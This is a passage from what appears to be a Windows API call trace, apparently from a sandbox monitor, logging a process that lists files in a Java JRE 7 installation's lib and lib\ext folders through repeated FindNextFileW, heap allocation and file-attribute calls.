ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_HK.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_TW.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3687, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3687, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 0 [0088.234] GetLastError () returned 0x12 [0088.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.234] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0088.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.235] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75246c40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x75246c40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75305320, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x449777, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0088.235] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1 [0088.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.235] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0088.240] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132aba0 [0088.240] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132aba0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132aba0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132aba0) returned 1 [0088.241] NtClose (Handle=0x16c) returned 0x0 [0088.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.242] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.243] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.244] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x148f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-32.jar", cAlternateFileName="")) returned 1 [0088.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd288 [0088.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fa38 [0088.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.245] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsns.jar", cAlternateFileName="")) returned 1 [0088.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd2a8 [0088.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f928 [0088.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.247] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaccess.jar", cAlternateFileName="")) returned 1 [0088.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd2c8 [0088.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fb48 [0088.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.249] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753c3a00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x753c3a00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753e9b60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf790d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="")) returned 1 [0088.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd2e8 [0088.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fbd0 [0088.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.250] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x33d, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="")) returned 1 [0088.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd308 [0088.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fc58 [0088.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.252] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3e45, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1 [0088.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd328 [0088.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fce0 [0088.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.254] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3057d, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="")) returned 1 [0088.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd348 [0088.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fd68 [0088.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.255] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="")) returned 1 [0088.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd368 [0088.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fdf0 [0088.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.257] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="")) returned 1 [0088.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd388 [0088.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fe78 [0088.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.259] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 1 [0088.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd3a8 [0088.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ff00 [0088.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.260] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 0 [0088.261] GetLastError () returned 0x12 [0088.261] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0088.261] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x148f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-32.jar", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsns.jar", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaccess.jar", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753c3a00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x753c3a00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753e9b60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf790d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x33d, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3e45, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3057d, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, 